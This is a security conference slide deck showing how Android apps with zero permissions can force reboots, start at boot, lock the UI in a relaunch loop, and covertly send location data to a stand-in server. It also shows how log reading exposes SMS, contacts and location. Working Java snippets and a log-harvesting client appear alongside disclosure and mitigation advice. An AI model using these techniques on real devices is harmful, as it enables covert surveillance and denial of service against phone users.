THESE AREN’T THE PERMISSIONS YOU’RE LOOKING FOR

Anthony Lineberry
David Luke Richardson
Tim Wyatt
AGENDA

• Android Internals Overview
• Security/Permission Model
• Why Ask For Permission When You Can Ask For Forgiveness?
• Log-Cat – Our Inside Mole
• The Ultimate Permission (Yes, we’re talking about root)
• Mitigation
ANDROİD MANİFEST

• AndroidManifest.xml – Every application must have one

• Declares the package name, a unique identifier for every app

• Describes applications components (Activities, Services, BroadcastReceivers, etc)

• Declares requested permissions “needed” to access protected API’s (If only there were a way to get around that...)

• Declares permissions other applications are required to have to interact with applications components
ACTIVITY

• A way for users to interact with the application

• Composed of Views:
  • Button
  • TextView
  • ImageView
  • etc...
ACTIVITY

- Managed as an Activity stack
- New/foreground activity on top of stack. In running/active state
- Previous Activities below in paused state
- Removed from stack when Activity finishes
ACTIVITY

• An application can start another application’s Activity!

• Activity runs in its application’s process.

• Callee doesn’t necessarily have access to Activity’s data

• Permission attribute in manifest can restrict who can start the permission
INTENT

• “An abstract description of an operation to be performed”

• Simple IPC for applications

• Intents can be sent with data
INTENT

• Can be used to start an Activity with `startActivity()`

• Intents can be broadcast system wide with `sendBroadcast()`

• Communicate with a background Service

• Two main components:
  • Action
  • Data (URI: http:, content:, geo:, etc...)

```java
Intent myIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com"));
startActivity(myIntent);
```
BROADCAST RECEIVER

• Receives an Intent

• Can be created dynamically with `registerBroadcast()` or declared in the manifest with the `<receiver>` tag

• Receives two types of broadcasts:
  • Normal Broadcasts – Asynchronous; Cannot be aborted
  • Ordered Broadcasts – Delivered serially; Can be aborted or pass result to next receiver
BROADCAST RECEIVER

• Permissions can be enforced

• Sender can declare permission for who can receive the Intent

• Receiver can declare permission for who can send an Intent to it
SERVICE

• Component to do work in the background
• NOT a separate process
• NOT a thread
• Kind of like an Activity without a UI
• Can enforce access to service with a required permission
SECURITY/PERMISSION MODEL

The Mythical Sandbox
THE SANDBOX

• Not a VM sandbox as many believe
  • Unix multi-user (uid/gid) sandbox!
  • Each app is a different uid

• Lightweight VM running for each process

• Breaking out of the VM gains you nothing

• Apps can request to share a uid (Both must be signed with the same key)
PERMISSIONS

- Default application has no permissions granted

- Finer grained access to content/APIs
  - android.permission.READ_SMS
  - android.permission.CHANGE_WIFI_STATE
  - etc..

- Declared in AndroidManifest.xml
WHY ASK FOR PERMISSION WHEN YOU CAN ASK FOR FORGIVENESS?
WHY PERMISSIONS MATTER

• Permissions gate what an App can do

• Users are required to OK permissions before downloading an App

• Users can decipher to some degree whether permissions are appropriate
WHY PERMISSIONS MATTER

VS

This application has access to the following:

⚠️ Network communication
full Internet access

Hide

Network communication
view network state

This application has access to the following:

⚠️ Network communication
full Internet access

⚠️ System tools
mount and unmount filesystems

⚠️ Hardware controls
change your audio settings

OK

OK
WHAT DOES 0 PERMISSIONS MEAN?

• No permission screen at all!
• Straight to download
• Why should a user worry about an App Android doesn’t warn about?
REBOOT
WITH 0 PERMISSIONS

• REBOOT permission is not normally grantable to apps.
  
  • Requires SystemOrSignature

  • But that won’t stop us!

<!-- Required to be able to reboot the device. -->
<permission android:name="android.permission.REBOOT"
            android:label="@string/permlab_reboot"
            android:description="@string/permdesc_reboot"
            android:protectionLevel="signatureOrSystem" />
REBOOT WITH 0 PERMISSIONS

- There are many approaches depending on Android OS Version
- The easiest and most reliable we've found so far involves Toast notifications
while (true) {
    Toast.makeText(getApplicationContext(), "Hello World", Toast.LENGTH_LONG).show();
}

- Every time you try to display a Toast it creates a weak JNI reference in system_server
REBOOT WITH 0 PERMISSIONS

• At 2001* global references system_server SIGSEGVs
• Exact number depends on hardware and OS version
Custom Toasts are also implementable, which can display any view

- Including invisible views!

```java
while (true) {
    // Invisible toast
    Toast t = new Toast(getApplicationContext());
    t.setView(new View(getApplicationContext()));
    t.show();
}
```
RECEIVE_BOOT_COMPLETE WITH 0 PERMISSIONS

• Permission to “automatically start at boot”
• Too easy - The permission isn’t checked!

<receiver android:name="AppLauncher">
    <intent-filter android:priority="1000">
        <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

<!-- Oops!
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETE" />
-->
START ON INSTALL WITH 0 PERMISSIONS

• Interesting trick to use in conjunction with another attack
• No permission exists to allow this functionality
• Google Analytics referrer tracking to the rescue!

<!-- Used for install referrer tracking -->
<receiver android:name="com.google.android.apps.analytics.AnalyticsReceiver"
    android:exported="true">
    <intent-filter>
    <action android:name="com.android.vending.INSTALL_REFERRER" />
    </intent-filter>
</receiver>
START ON INSTALL WITH 0 PERMISSIONS

• Just write your own Receiver
• But there are some caveats...

<!-- Used for to launch my app -->
<receiver android:name="com.nethack.LaunchOnInstallReceiver">
  <intent-filter>
    <action android:name="com.android.vending.INSTALL_REFERRER"/>
  </intent-filter>
</receiver>
START ON INSTALL WITH 0 PERMISSIONS

• Requires referrer included in URL leading to App

  - Admob

  - Weblink

• OR Android 2.2

• Always includes referrer info

  market://details?id=com.nethack&referrer=utm_source%3Dadmob%26utm_medium%3Dbanner%26utm_term%3Darcade%252Bgame%26utm_campaign%3DMalicious_Campaign

  market://details?id=com.nethack&referrer=autostart

  market://details?id=com.nethack&referrer=utm_source=androidmarket&utm_medium=device&utm_campaign=filtered&utm_content=GAMES/free&rowindex=34
CIRCLE OF DEATH
UI HOSTILE TAKEOVER WITH 0 PERMISSIONS

• Launch activity that consumes all KeyPresses

    public boolean onKeyDown(int keyCode, KeyEvent event) {
        return true;
    }

• Can’t swallow HOME or long press of HOME

• Relaunch when Activity exits

• Activity can’t launch itself when destroyed, however
CIRCLE OF DEATH
WITH 0 PERMISSIONS

• So create a circle of death

• When Activity is destroyed, launch a Service. Service relaunches destroyed Activity

```java
// MaliciousActivity
protected void onDestroy() {
    super.onDestroy();
    startService(new Intent(getApplicationContext(), RestartService.class));
}
```

```java
// RestartService
public void onCreate() {
    super.onCreate();
    startActivity(new Intent(getApplicationContext(), MaliciousActivity.class)
                      .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
}
```
CIRCLE OF DEATH WITH 0 PERMISSIONS

• To remove boot into safe mode (No non-system apps are able to run) and uninstall the malicious application.

• Bonus points: Maximize volume and play an obnoxious sound.
UPLOAD WITH 0 PERMISSIONS

• Apps or games not requesting INTERNET seem low risk.

• Your sandbox can’t access the internet.

• Ask your neighbor!

• Pop open a browser.

NetHack

```
startActivity(new Intent(Intent.ACTION_VIEW,
    Uri.parse("http://mysite.com/data?lat=" + lat + "&lon=" + lon));
```
UPLOAD WITH 0 PERMISSIONS

• Can we do this secretly?

• Obscuring browser (onPause()) stops page from loading.
UPLOAD WITH 0 PERMISSIONS

• How about we only pop up browsers when the screen is off?
  
• Need to close browser when the screen turns on
  
• Bonus Points: Redirect to http://www.google.com when you’re done (or read browser history from logs)
// Lets send if no one is looking!
PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (!pm.isScreenOn()) {
    Log.e("NetHack", "Screen off");
    startActivity(new Intent(Intent.ACTION_VIEW,
        Uri.parse("http://mysite/data?lat=" + lat + "&lon=" + lon)).setFlags
        (Intent.FLAG_ACTIVITY_NEW_TASK));
    mBrowserDisplayed = true;
} else if (mBrowserDisplayed) {
    Log.e("NetHack", "Screen on");
    startActivity(new Intent(Intent.ACTION_MAIN).addCategory
        (Intent.CATEGORY_HOME));
    mBrowserDisplayed = false;
}

But what about two way communication?
INTERNET WITH 0 PERMISSIONS

• Pop browser to page with downloadable content-type (http://mysite.com/data.zip)

• Default Android browser automatically saves it to /sdcard/downloads/data.zip

• But there are some downsides...
INTERNET WITH 0 PERMISSIONS

• No way to clear notifications

• To clean up the filesystem you need to request WRITE_EXTERNAL_STORAGE

• Automatically requested if you target Android 1.5
INTERNET
WITH 0 PERMISSIONS

• How about a custom URI receiver?

• Google Maps uses `geo:latitude,longitude?zoom` to automatically launch their App

• We can do the same!
INTERNET WITH 0 PERMISSIONS

We can register ourselves for nethack://

Redirect our page from before to nethack:data?param=server_data

This has to be an <activity>, not a <receiver> (It is meant for foreground interactions)
• Activity is never seen if you call finish() in onCreate()

• Data is available in the Intent

• Bonus Points: New tab for nethack URI and redirect original page to http://google.com
INTERNET WITH 0 PERMISSIONS

Demo
import android.util.Log;
...
public class MyClass {
...
    private static final String TAG = "MyLogTag";
...
    Log.d(TAG, "Some log content goes here");
...
}
LOG DEVICES

• Main – /dev/log/main
• Events – /dev/log/events
• Radio – /dev/log/radio
• System – /dev/log/system
“This is **not** the main "logcat" debugging log (*Log*)!
These diagnostic events are for system integrators,
not application authors.”

(android.util.EventLog reference)
Radio command stream and debug data

D/CDMA ( 182): [CdmaDataConnection] DataConnection.clearSettings()
D/CDMA ( 182): [DataConnection] Stop poll NetStat
D/CDMA ( 182): [CdmaDataConnectionTracker] setState: IDLE
D/CDMA ( 182): [CdmaDataConnectionTracker] ***trySetupData due to dataEnabled
D/CDMA ( 182): [CdmaDataConnection] DataConnection.getState()
D/CDMA ( 182): [DGRD1] dataState=CONNECTING, mode=0x44800000->44800000
D/CDMA ( 182): [CdmaDataConnection] CdmaDataConnection Connecting...
D/RILJ ( 182): [0399]> SETUP_DATA_CALL 0 0 null null null 3
D/CDMA ( 182): [CdmaDataConnectionTracker] setState: INITING
D/HTC_RIL (  53): ril_func_config_and_activate_pdp():called
D/HTC_RIL (  53): ril_func_config_and_activate_pdp():0,0
D/HTC_RIL (  53): @(t=1280205773)>> 13:up: 3
D/RILJ ( 182): WAKE_LOCK_TIMEOUT mReqPending=0 mRequestList=1
D/CDMA ( 182): [CdmaDataConnection] DataConnection.handleMessage()
E/CDMA ( 182): CdmaDataConnection Init failed com.android.internal.telephony.CommandException: GENERIC_FAILURE
D/RILJ ( 182): [0400]> LAST_DATA_CALL_FAIL_CAUSE
D/HTC_RIL (  53): ril_func_get_last_pdp_fail_cause():called
D/HTC_RIL (  53): @(t=1280205793)>> 13:poll
D/HTC_RIL (  53): qmi_read_thread():qmi read thread got [[STATE=down...
$ adb logcat
D/dalvikvm(  189): GC freed 480 objects / 22376 bytes in 70ms
D/HtcLockScreen(   85): onRefreshBatteryInfo: 15
I/global (   85): Default buffer size used in BufferedReader constructor. It would be better to be explicit if an 8k-char buffer is required.
I/global (   85): Default buffer size used in BufferedReader constructor. It would be better to be explicit if an 8k-char buffer is required.
D/BatteryService(   85): isUsbConnected() = true
D/BatteryService(   85): mPlugType = 2
D/WifiService(   85): ACTION_BATTERY_CHANGED pluggedType: 2
D/UsbConnectedReceiver(  216): action = psclient.intent.action.usb_status
D/UsbConnectedReceiver(  216): ACTION_BATTERY_CHANGED
D/UsbConnectedReceiver(  216): usbCurrentType = 2
D/UsbConnectedReceiver(  216): Current type is same as previous, return!
D/dalvikvm(  146): GC freed 72 objects / 3232 bytes in 99ms
D/dalvikvm(  146): GC freed 107 objects / 4360 bytes in 83ms
D/HtcLockScreen(   85): onRefreshBatteryInfo: 16
I/global (   85): Default buffer size used in BufferedReader constructor. It would be better to be explicit if an 8k-char buffer is required.
I/global (   85): Default buffer size used in BufferedReader constructor. It would be better to be explicit if an 8k-char buffer is required.
D/WifiService(   85): ACTION_BATTERY_CHANGED pluggedType: 2
D/BatteryService(   85): isUsbConnected() = true
D/BatteryService(   85): mPlugType = 2
D/UsbConnectedReceiver(  216): action = psclient.intent.action.usb_status
D/UsbConnectedReceiver(  216): ACTION_BATTERY_CHANGED
D/UsbConnectedReceiver(  216): usbCurrentType = 2
D/UsbConnectedReceiver(  216): Current type is same as previous, return!
PERMISSIONS

• Ability to read logs is gated by android.permission.READ_LOGS

• shell is granted this permission for adb debugging

• READ_LOGS is in some ways an alias for READ*

```java
public static final String READ_LOGS
Since: API Level 1
Allows an application to read the low-level system log files. These can contain slightly private information about what is happening on the device, but should never contain the user's private information.
Constant Value: "android.permission.READ_LOGS"
```
THE CLIENT

- Android Service that requests:
  - android.permission.READ_LOGS
  - android.permissionINTERNET
- Downloads policies from the server
- Periodically delivers logs matching regex
public class LogcatDevice extends LogSource {
    ...
    public void open() throws IOException {
        StringBuilder command = new StringBuilder("logcat");
        File devFile = new File(DEVLOG + buffer);
        if (devFile.exists())
        {
            command.append(" -b ").append(buffer);
        } else {
            throw new IOException("Requested device does not exist.");
        }
        process = Runtime.getRuntime().exec(command.toString());
        input = process.getInputStream();
        reader = new BufferedReader(new InputStreamReader(input));
    }
    ...
}
public class LogMonitor {
...
    private void monitor(LogSource source)
    {
        while (running)
        {
            String data = source.nextEntry();
            List<Matcher> matches = this.filter.matches(data);
            if (matches.isEmpty() == false)
            {
                trackEntry(source.getFacility(), data, matches);
            }
        }
    }
...
public class LogMonitorService extends Service {
...
    public void onCreate() {
...
        this.monitor = new LogMonitor();
        for (String buffer : LogSource.ALLDEVICES) {
...
            monitor.addSource(new LogcatDevice(buffer));
...
        }
...
    }
    public int onStartCommand(Intent intent, int flags, int startId) {
        return START_STICKY;
    }
}
SERVER

- Rails server supplies C&C and processes device data
- Supplies per-device policies
- Receives logs meeting policies
- Provides an interface to explore logs from multiple devices
- Extracts and post-processes log data
POLICIES, ETC.

- Threw out a few random keywords (insert, update, delete, intent, content, http, etc.)

- Picked a couple of pieces of data to toss around

- Setup initial expressions and started pushing data through devices.
• Logs the first 64 characters of a sampling of queries

• Sample rate is based on query execution time
• Similar to db_sample, but applies to content provider operations

```java
/content_query_sample(1327): [content://com.android.contacts/phone_lookup/%2B1415XXXXXXX,_id/lookup,,,386,,78]
```
GET_TASKS AND DUMP
WITH READ_LOGS

- GET_TASKS


- DUMP

I/DEBUG   (   31): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (   31): Build fingerprint: 'generic/google_sdk/generic:/2.2/FRF42/36942:eng/test-keys'
I/DEBUG   (   31): pid: 59, tid: 190 >>> system_server <<<
I/DEBUG   (   31): signal 11 (SIGSEGV), fault addr deadd00d
I/DEBUG   (   31): r0 00000374  r1 0000000c  r2 0000000c  r3 deadd00d
I/DEBUG   (   31): r4 00000026  r5 80887fc4  r6 ffe9181  r7 000007d1
I/DEBUG   (   31): r8 48269b88  r9 429a6f40  10 429a6f28  fp 0021a438
I/DEBUG   (   31): ip 808881ec  sp 48269ad8  lr afd154c5  pc 8083b162  cpsr 20000030
I/DEBUG   (   31):   #00 pc 0003b162 /system/lib/libdvm.so  ...
I/DEBUG   (   31): stack:
I/DEBUG   (   31):  48269a98 00000015
I/DEBUG   (   31):  48269a9c afd1453b /system/lib/libc.so

D/HtcBookmarkUtility(6341): start updateHTCScreenshot(), original=http://www.google.com/m/search?q=something+embarrassing&oq=&aqi=g6-k0d0t0&fkt=4484&fsdt=19163&csll=&action=&ltoken=ae3da9c5f9727, url=http://www.google.com/m/search?q=something+embarrassing&oq=&aqi=g6-k0d0t0&fkt=4484&fsdt=19163&csll=&action=&ltoken=ae3da9c5f9727

READ_HISTORY_BOOKMARKS WITH READ_LOGS
READ_SMS
WITH READ_LOGS

D/ComposeMessageActivity(376): Before Send Address: 510XXXXXXX Send Message Body: Blackhat
D/SmsMessageSender(376): Send Message To: 510XXXXXXX Body[Blackhat]
D\debug(699): Received SMS: Something really embarrassing
READ_CONTACTS
WITH READ_LOGS

D/HtcViewContactDetailActivity( 518): buildEntries sLabel: Call mobile
D/HtcViewContactDetailActivity( 518): buildEntries sData: 4156666666
...
D/HtcViewContactDetailActivity( 518): buildEntries sLabel: null
D/HtcViewContactDetailActivity( 518): buildEntries sData: Firstname Lastname
...
D/HtcViewContactDetailActivity( 518): buildEntries sLabel: Email home
D/HtcViewContactDetailActivity( 518): buildEntries sData: blackhat@mylookout.com
ACCESS_COARSE_LOCATION WITH READ_LOGS

/dev/log/main:
D/NetworkLocationProvider(  71): onCellLocationChanged [LAC,CELLID]
V/LocationManagerService(   89): CdmaCellLocation latitude: 37.781666666666666 longitude: -122.39555555555556

/dev/log/radio:
D/RILJ ( 204): [1274]< OPERATOR {AT&T, , 310410}
D/RILJ ( 144): [0098]< REGISTRATION_STATE {1, 0xCELLID, 0xLAC, 9, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null}
require 'httparty'

class CellLocator
  def self.request(mcc, mnc, lac, cellid)
    response = HTTParty.get('http://cellid.labs.ericsson.net/json/lookup',
        :query => {
            :key => 'MY_API_KEY', :base => 10,
            :mcc => mcc, :mnc => mnc, :lac => lac, :cellid => cellid
        }
    )
    return response['position']
  end
end
D/WeatherClockWidget(114): Query Weather data by Latitude: 37.779874, Longitude: -122.397273

V/GpsLocationProvider(89): reportLocation
lat: 37.78005123138428
long: -122.39708304405212
timestamp: 1280180485000

V/libgps (89): lat: 37.780051, long: -122.397083

D/libgps (1020): GpsInterface_inject_location(37.780187, -122.397607, 56.000)
A STORY ... ABOUT 3 GUYS
HEADING DOWN 101 ...
TO SFO
AND HEAD TO VEGAS ...
ARRIVING AT MCCARRAN ...
TAKE A CAB ACROSS TOWN ...
TO CAESAR’S PALACE
THE ULTIMATE PERMISSION

Yes, We’re Talking About Root
THE ULTIMATE PERMISSION

• Phones ship locked down
• Everyone wants to use their phone to it’s full potential
• Communities surrounding the rooting of phones have formed
• Third party ROM’s available to users now
HOW DOES ONE GET ROOT?

• Android uses a Linux kernel (duh)

• Lookup old kernel vulns and see if they work!
  • 1.5 (Cupcake) using 2.6.27 kernel
  • 1.6 (Donut), 2.0, 2.1 (Eclair) using 2.6.29
  • 2.2 (Froyo) using 2.6.32
  • 3.0 (Gingerbread) will use 2.6.33/34 (Q4/2010)
HOW DOES ONE GET ROOT?

• Old/unpatched libraries!

• suid binaries with vulns

• Pretty much any traditional way since this is Linux
CASE STUDY

uevent origin vuln

• Similar to libudev vuln (CVE-2009-1185). Discovered by Sebastian Krahmer

• Patched in Android 4 days after exploit published

  http://android.git.kernel.org/?p=platform/system/core.git;a=commit;h=5f5d5c8cef10f28950fa108a8bd86d55f11b7ef4

• Failed check of NETLINK message origin
  (Did it come from the kernel? Or did a user send it?...)

• Who was vulnerable to this?...
CASE STUDY

uevent origin vuln

• Rewrote exploit to run as JNI code from the APK (With zero permissions!)
CASE STUDY

• Rewrote exploit to run as JNI code from the APK (With zero permissions!)

• Every flagship phone...
CASE STUDY

• Rewrote exploit to run as JNI code from the APK (With zero permissions!)
• Every flagship phone...
• ...Of every major carrier in the US
CASE STUDY
uevent origin vuln

• Rewrote exploit to run as JNI code from the APK (With zero permissions!)

• Every flagship phone...

• ...Of every major carrier in the US

• Oops.
THE ROOTING PROBLEM

• People want their phones rooted
• Rooting is being viewed as a vehicle for modding
• Ignoring the large pink elephant – security issues
• Unwilling to make details public for fear of OEM fixing bug
• Leaves everyone with major vulnerabilities
WHY ARE PEOPLE ROOTING

• Modding phones

• Patching process is slow; users want access to latest and greatest releases

• Tethering (Free additional features)
WHAT CAN YOU DO?

Users

• Don’t assume lack of permissions means data is private

• Does the app really need **READ_LOG** permissions? (Probably not)

• Keep your phone patched up to date
WHAT CAN YOU DO?

Developers

• Users are trusting you with access to their private data
• Be careful what you do with that...
• Be paranoid about what you log
• If others don’t need to access your components, enforce an access permission
WHAT CAN YOU DO?

OEMs

• See developer advice

• Set a good example for other developers!
  
    • Why should they care if they leak private info if you are already doing it too?

• Please patch your libraries/kernels
QUESTIONS?

Come see us in Track 1 Q/A room!
REFERENCES

• SDK Reference Docs

• Jon Oberheide - Google’s Android Platform (CanSecWest 2009)

• Jesse Burns - Exploratory Android Surgery (BlackHat USA 2009)

• CVE-2009-1185 - https://bugzilla.redhat.com/show_bug.cgi?id=495051

• http://c-skills.blogspot.com/2010/07/android-trickery.html